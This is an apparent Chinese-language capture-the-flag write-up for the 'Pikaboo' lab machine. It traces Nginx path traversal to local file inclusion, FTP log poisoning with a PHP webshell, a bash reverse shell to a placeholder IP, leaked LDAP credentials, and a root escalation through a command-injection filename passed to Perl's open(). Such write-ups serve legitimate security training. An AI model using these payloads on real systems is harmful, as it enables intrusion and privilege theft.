Pikaboo

端口扫描
1 | PORT STATE SERVICE REASON VERSION |
User Flag
FTP服务无法匿名登录,先看看Web部分

Nginx/1.14.2服务器设置为反向代理,实际请求由侦听在127.0.0.1:81的Apache/2.4.38处理

后端语言为PHP,浏览网页找到的路径有
/index.php/pokatdex.php/pokeapi.php/admin*/images/artwork
其中/admin*要求Basic认证
1 | $ curl 'http://pikaboo.htb/admin' -I |
/pokeapi.php有一个id参数,但无论怎么填写,返回的页面都提示"PokeAPI Integration - Coming soon!"

/images/返回403,但在请求/images时的302响应中泄露了Apache的一个路径/pokatdex
1 | $ curl 'http://pikaboo.htb/images' |
根据/admin*路径的行为(*通配符代表/admin之后的部分可以任意匹配),推测Nginx针对/admin的location为
1 | location /admin { |
这条location规则可以通过/admin../实现路径穿越
结合前面/images的302响应中泄露的路径/pokatdex,可以构造URL:http://pikaboo.htb/admin../pokatdex/
浏览该URL,返回的页面与http://pikaboo.htb/相同

这说明http://pikaboo.htb/admin../pokatdex会被Nginx转发到http://127.0.0.1:81/pokatdex/../pokatdex,因此存在路径穿越
既然现在可以访问Apache服务器的/目录,那么来枚举一下/目录中有哪些文件/目录,使用的字典为apache.txt
1 | $ rustbuster dir -u http://pikaboo.htb/admin.. -f -e php,txt,bak,xml -w /usr/share/seclists/Discovery/Web-Content/apache.txt -t 64 -k -S 404 |
查看/server-status,在页面中找到路径/admin_staging

浏览http://pikaboo.htb/admin../admin_staging/,页面如下

点击左侧”User Profile”,页面跳转到http://pikaboo.htb/admin../admin_staging/index.php?page=user.php,该URL的page参数可能存在LFI
访问http://pikaboo.htb/admin../admin_staging/index.php?page=../pokatdex/index.php成功加载/pokatdex/index.php文件

使用php://filTer/convert.base64-encode/resource=index.php读取当前页面源码,发现page参数直接作为include的参数,也就是include的文件路径没有任何限制
1 | if(isset($_GET['page'])) { |
尝试从LFI到RCE,试过/etc/passwd和各种Web服务器日志文件路径,全都无法读取(php-fpm的配置限制了这些文件所在目录的访问权限?),只有vsftpd的日志文件/var/log/vsftpd.log可以读取

使用ftp命令,输入<?php echo system($_GET['cmd']); ?>作为用户名,令该用户名写入/var/log/vsftpd.log日志中

访问http://pikaboo.htb/admin../admin_staging/index.php?page=/var/log/vsftpd.log&cmd=whoami测试是否生效

执行bash -c 'bash -i >%26 /dev/tcp/YOUR_IP/4242 0>%261',获得Reverse Shell(目标主机经常清理/var/log/vsftpd.log,如果没有得到shell,可以重复ftp步骤)

读取/home/pwnmeow/user.txt获取user flag
1 | www-data@pikaboo:/$ cat /home/pwnmeow/user.txt |
Root Flag
查看/etc/vsftpd.conf,发现vsftpd通过LDAP进行身份认证
1 | virtual_use_local_privs=YES |
找了半天在/opt/pokeapi/config/settings.py文件中找到LDAP服务的用户名和密码(运行linpeas.sh -a没有提示settings.py,因为/opt不在linpeas.sh的默认密码查找目录列表中,尽管/opt/pokeapi/config/settings.py中有PASSWORD关键词)
1 | DATABASES = { |
使用用户名cn=binduser,ou=users,dc=pikaboo,dc=htb和密码J~42%W?PFHl]g获取LDAP中pwnmeow用户的密码
1 | www-data@pikaboo:/$ ldapsearch -LLL -W -x -H ldap://127.0.0.1 -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -b 'ou=users,dc=ftp,dc=pikaboo,dc=htb' |
Base64解码userPassword的值得到pwnmeow的密码为_G0tT4_C4tcH_'3m_4lL!_
1 | www-data@pikaboo:/$ echo 'X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==' | base64 -d |
目标主机cron service会定期以root权限运行/usr/local/bin/csvupdate_cron,csvupdate_cron脚本代码如下
1 |
|
该脚本对/srv/ftp的每个子目录执行/usr/local/bin/csvupdate {SUBDIR} *csv,csvupdate脚本代码如下(经简化)
1 | use strict; |
csvupdate的参数分为两部分
1 | csvupdate [type] [csv_file]... |
type参数用于从$csv_fields表中查找字段数,例如type=abilities时,$csv_fields{$type}得到的字段数为4('abilities' => 4)csv_file参数可以传入任意数量,csvupdate读取并解析csv_file指向的文件
csvupdate通过for(<>)依次读取这些csv_file的内容,调用$csv->parse($_)解析CSV格式内容,然后判断CSV的字段数是否与type要求的字段数相同,如果相同则CSV文件的内容会被写到/opt/pokeapi/data/v2/csv/${type}.csv中
可被用来提权的点就在for(<>),for(<>)实际会调用open函数,而Perl中的open函数可以用于执行系统命令,相关细节参考
要利用open的这一特性需要该函数的文件名参数可控,在csvupdate脚本中该文件名参数就是csv_file,而pwnmeow用户所属ftp组,具有上传文件到/srv/ftp子目录的权限
通过上传后缀为csv的Payload文件名到任意/srv/ftp子目录中,可由csvupdate_cron脚本将文件名作为csv_file参数传递给csvupdate脚本,最终csvupdate的for(<>)调用open函数并传入该Payload
执行以下命令在本地创建Payload,该Payload中的命令用于拷贝bash到/srv/ftp,并设置/srv/bash的SUID位
1 | touch ' | cp $(which bash) .. | bash -c ''chmod +s "..$(echo -e \\x2f)bash"'' | csv' |
然后使用凭据pwnmeow:_G0tT4_C4tcH_'3m_4lL!_登录FTP服务,执行以下命令上传该Payload文件
1 | ftp> cd types |
最后,执行/srv/ftp/bash -p获得root权限
1 | $ /srv/ftp/bash -p |
附加
PHP的/etc/php/7.3/apache2/php.ini中设置open_basedir为/var/(/var添加/结尾代表仅允许访问/var目录。如果结尾不加/,则只允许访问以/var开头的路径,例如像/variable/file这样的路径也是可以访问的)
1 | open_basedir = /var/ |
Apache的日志文件权限设置为只有root或adm组的用户可读
1 | bash-5.0\# ls -la /var/log/apache2/access.log |
所以才无法读取/etc/passwd和Apache的日志